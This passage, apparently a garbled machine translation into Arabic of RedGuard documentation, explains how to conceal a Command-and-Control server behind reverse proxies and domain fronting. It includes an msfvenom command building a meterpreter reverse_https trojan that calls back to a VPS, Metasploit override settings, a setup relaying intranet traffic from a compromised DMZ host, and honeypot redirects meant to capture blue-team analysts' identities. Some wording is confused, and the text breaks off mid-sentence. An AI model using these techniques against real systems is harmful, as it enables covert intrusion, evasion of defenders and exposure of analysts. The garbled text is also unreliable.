إذا كانت هناك مشكلة في الطريقة المذكورة أعلاه، فلا يمكن لجدار الحماية اعتراض خادم C2 الفعلي عبر الإنترنت مباشرةً، لأن طلب موازنة التحميل الفعلي في الوكيل العكسي يتم إجراؤه بواسطة IP الخاص بالشركة المصنعة للخادم السحابي.
في القتال الفردي، يمكننا ضبط قواعد الاعتراض على جدار حماية الخادم السحابي.
ثم قم بتعيين العنوان الذي يشير إليه الوكيل على https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }ولأن التحقق الأساسي لدينا يعتمد على رأس طلب HTTP HOST، فإن ما نراه في حركة مرور HTTP هو أيضًا نفس طريقة واجهة المجال، ولكن التكلفة أقل، ولا يلزم سوى خادم سحابي واحد فقط.
بالنسبة لإعدادات المستمع، يتم تعيين HTTPS Port (C2) على منفذ الوكيل العكسي RedGuard، HTTPS Port (Bind) هو منفذ الاتصال الفعلي للجهاز المحلي.
يولد طروادة
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeبالطبع، كسيناريو واجهة المجال، يمكنك أيضًا تكوين LHOST الخاص بك لاستخدام أي اسم مجال لشبكة CDN الخاصة بالشركة المصنعة، والانتباه إلى إعداد HttpHostHeader لمطابقة RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true من المهم ملاحظة أنه يجب ضبط إعداد OverrideRequestHost على true . ويرجع ذلك إلى ميزة الطريقة التي يتعامل بها Metasploit مع طلبات HTTP/S الواردة بشكل افتراضي عند إنشاء تكوين الحمولات المرحلية. افتراضيًا، يستخدم Metasploit قيمة رأس Host للطلب الوارد (إذا كان موجودًا) لتكوين المرحلة الثانية بدلاً من معلمة LHOST . لذلك، تم تكوين مرحلة الإنشاء لإرسال الطلبات مباشرة إلى اسم المجال المخفي الخاص بك لأن CloudFront يمرر المجال الداخلي الخاص بك في رأس Host للطلبات المعاد توجيهها. ومن الواضح أن هذا ليس ما نطلبه. باستخدام قيمة تكوين OverrideRequestHost ، يمكننا إجبار Metasploit على تجاهل رأس Host الوارد واستخدام قيمة تكوين LHOST بدلاً من ذلك للإشارة إلى مجال CloudFront الأصلي.
يتم تعيين المستمع على منفذ الخط الفعلي الذي يطابق العنوان الذي يعيد RedGuard توجيهه إليه بالفعل.
تلقى RedGuard الطلب:
كما هو موضح في الشكل أدناه، عندما يتم ضبط قاعدة الاعتراض لدينا على DROP، سيقوم مسبار نظام رسم الخرائط المكانية بفحص الدليل / الخاص بمنفذ الوكيل العكسي الخاص بنا عدة مرات. من الناحية النظرية، يتم تزييف حزمة الطلب المرسلة عن طريق التعيين كحركة مرور عادية كما هو موضح. ولكن بعد عدة محاولات، نظرًا لأن توقيع حزمة الطلب لا يلبي متطلبات إصدار RedGuard، يتم الرد عليها جميعًا عن طريق إغلاق HTTP. التأثير النهائي المعروض على منصة المسح ورسم الخرائط هو أن منفذ الوكيل العكسي غير مفتوح.
تعني حركة المرور الموضحة في الشكل أدناه أنه عند تعيين قاعدة الاعتراض على إعادة التوجيه، سنجد أنه عندما يتلقى مسبار التعيين استجابة، سيستمر في فحص دليلنا. وكيل المستخدم هو عشوائي، والذي يبدو أنه يتماشى مع طلبات حركة المرور العادية، ولكن تم حظر كليهما بنجاح.
منصة رسم الخرائط - تأثير وضع اعتراض استجابة الاختطاف:
منصة المسح ورسم الخرائط – تأثير اعتراض إعادة التوجيه:
يدعم RedGuard واجهة المجال. في رأيي، هناك نوعان من أشكال العرض. أحدهما هو استخدام طريقة واجهة المجال التقليدية، والتي يمكن تحقيقها عن طريق تعيين منفذ الوكيل العكسي الخاص بنا في عنوان العودة إلى الأصل لتسريع الموقع بأكمله. على الأساس الأصلي، تتم إضافة وظيفة التحكم في حركة المرور إلى واجهة النطاق، ويمكن إعادة توجيهها إلى عنوان URL المحدد وفقًا للإعداد الذي قمنا بتعيينه لجعله يبدو أكثر واقعية. تجدر الإشارة إلى أن إعداد Redguard لرأس مضيف HTTPS يجب أن يكون متسقًا مع اسم المجال للتسارع على مستوى الموقع.
في قتال واحد ، أقترح أنه يمكن استخدام الطريقة المذكورة أعلاه ، وفي مهام الفريق ، يمكن أيضًا تحقيقها من خلال "مواجهة المجال".
في مواجهة المجال المصممة ذاتيا ، احتفظ بمنافذ وكيل عكسي متعددة متسقة ، ويشير رأس المضيف باستمرار إلى منفذ الاستماع الحقيقي لخادم C2 في الواجهة الخلفية. وبهذه الطريقة ، يمكن إخفاء خادم C2 الحقيقي الخاص بنا جيدًا ، ويمكن لخادم الوكيل العكسي فتح منفذ الوكيل فقط عن طريق تكوين جدار الحماية.
يمكن تحقيق ذلك من خلال خوادم عقدة متعددة ، وتكوين IPs متعددة من العقد لدينا في IP HTTPS عبر الإنترنت.
يعتمد مبدأ محاصرة Honeypot بشكل أساسي على استجابة الاختطاف أو وظيفة إعادة التوجيه لتوجيهات حركة المرور RG ، والتي توجه المحللين الذين يقومون بتقييم مرافق C2 على عنوان صندوق رمل Honeypot. في حالة استجابة الاختطاف ، ستقوم RG بتوجيه حركة المرور التي لا تفي بالقواعد الواردة إلى أصول Honeypot. عند مواجهة بعض أنواع العسل الأكثر قوة (مثل تلك التي تلتقط أرقام الهواتف المحمولة للمشغل) ، سيبدأ العميل طلبًا وفقًا لاستجابة الموقع المستهدف ويتم اختطافها بواسطة JSONP للحصول على المعلومات ذات الصلة.
تخيل أنه عندما يصل المحللون مباشرة إلى منفذ C2 عبر الإنترنت ، سيتم توجيههم إلى أصول Honeypot ، مما سيؤدي بلا شك إلى اضطراب للمحللين. يتم توجيه المحللين بشكل ضار لطلب أصول Honeypot ، وتلتقط نهاية مراقبة Honeypot المعلومات ذات الصلة لمحللي الفريق الأزرق وتتبع الخطأ. إذا كان هدف التحليل خاطئًا من البداية ، فكيف يمكنك الحصول على نتيجة جيدة؟ هذا سيؤدي بلا شك إلى احتكاك داخلي خطير لفريق الدفاع.
فيما يلي مجموعة من بصمات Zoomeye المرتبطة بأصول Honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
طريقة تحقيق هذا التأثير بسيطة للغاية ، تحتاج فقط إلى تغيير قيم المفاتيح ذات الصلة في ملف تكوين RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comملاحظة: أعتقد أن الجميع يعرف كيفية تكوينه بدون تفسير :)
هذه الطريقة هي نوع من الخدعة الماكرة ، وهو ما ينعكس أكثر في الفكرة. إذا تم استخدامه بشكل أكبر ، فيمكن نشر وظيفة التقاط Honeypot في منشأة C2 الأمامية لمراقبة حركة المرور ومن ثم يمكن توجيه حركة المرور التفاعلية. التأثير هو أنه يمكن الحصول على بيانات ذاكرة التخزين المؤقت لمستعرض العميل تمامًا مثل صيد العسل التقليدي. ومع ذلك ، أشعر شخصيًا أنه في النسخة العامة ، قد لا يكون من المجدي تطبيقه على المواجهة الحالية للهجوم والدفاع. لا معنى له للمهاجم لالتقاط المعلومات الاجتماعية لمحلل الفريق الأزرق ثم تتبعها. بالطبع ، في اتخاذ خطوة إلى الوراء ، قد يجعل هذا تحليل عينات C2 أكثر خطورة. عندما يتمكن مهاجم الصناعات السوداء والرمادية من الحصول على الهوية الافتراضية للمحلل ، إذا كان يمكن تحويل الهويات الافتراضية والحقيقية ، فهي لا تزال خطرة نسبيًا. لذلك أعتقد أن الأبحاث والتحليل المستقبليين يجب أن تكون أكثر حذراً وقظة.
في سيناريو المواجهة للهجوم والدفاع ، لا تزال معظم شبكات الوحدات قائمة على الحدود. نحن هنا نعتبر سيناريو حيث يتم تكوين الخوادم الخارجية في منطقة DMZ غالبًا مع سياسات الوصول ذات الصلة في بيئة أعمال عادية. في هذا الوقت ، عندما تتمكن الخوادم الخارجية على الحافة من الوصول إلى الشبكة ولكن لا يمكنها الوصول مباشرة إلى مضيف إنترانت ، فإن الكمبيوتر الشخصي أو الخوادم ذات الصلة في إنترانت لا تصل مباشرة إلى الشبكة العامة ، ولكن يمكنها الوصول إلى خوادم الأعمال في منطقة DMZ ، ثم يمكنني استخدام مضيف عقدة Edge كعقدة RG لنقل حركة المرور عبر الإنترنت إلى منشآت C2. هل يبدو مشابهًا جدًا لنقل الوكيل التقليدي عبر الإنترنت؟ ومع ذلك ، هذا مجرد شكل من أشكال عرض تنفيذ المهارات. دعنا نستمر في النظر في المزيد من النصائح.
عندما ننزل مضيفًا حافة أثناء عملية الإدارة ، على افتراض أننا تولينا أذونات الصدفة ، سنقوم بنشر RG على هذا الخادم كقاعة في الواجهة الأمامية (في السيناريوهات الفعلية ، يتم ترميز ملفات التكوين في البرنامج ، وحتى حصان طروادة و RG يتم دمجهم في نفس البرنامج) .
ملف التكوين كما يلي:
للتكوين المحدد ، نركز بشكل أساسي على الأسهم. السهم 1 أعلاه هو اسم المجال المضيف للتفاعل بين مضيف إنترانت وعقدة الحافة . يوصى بتعيين اسم مجال الإنترانت ذي الصلة وفقًا للسيناريو المحدد للوحدة المستهدفة. تخيل تفاعل حركة المرور بين مضيفين في إنترانت حول اسم مجال إنترانت. هل لدى BT الشجاعة لقطع حركة المرور التفاعلية مباشرة؟ بالطبع ، إذا تمكنوا من تحديد أنها حركة تفاعلية خبيثة. يشير السهم 2 إلى إعداد الواجهة الأمامية للمجال التقليدية . هذا الزوج من القيمة الرئيسية ، يتوافق المفتاح مع المضيف عبر الإنترنت والقيمة تتوافق مع عنوان الوكيل. هنا يمكننا تعيينه على أي اسم مجال HTTPS باستخدام نفس الشركة المصنعة لـ CDN (KDN Node IP على ما يرام ، تذكر أن تجلب HTTP (S): // بروتوكول).
EdgeHost هو اسم المجال المستخدم من قبل الواجهة الأمامية لمزود الخدمة السحابية لدينا ، وهو أيضًا اسم المجال المستخدمة من قبل عقدة RG Edge عند التفاعل مع C2 من خلال عقدة CDN. نعم ، ستقوم RG بتعديل اسم مجال المضيف للطلب الشرعي وتعديله إلى اسم مجال Cloud Service CDN الذي يمكنه التواصل بشكل طبيعي.
EdgetArget هو اسم المجال للتفاعل بين الإنترانت ، والذي يجب أن يكون هو نفسه السهم 1. فقط حركة المرور التي يطلبها اسم المجال الذي تم تعيين تواصل.
هنا نلخص:
أي أن التفاعل بين عقدة الحافة والمضيف في إنترانت هو من خلال اسم مجال إنترانت مجموعة. هم
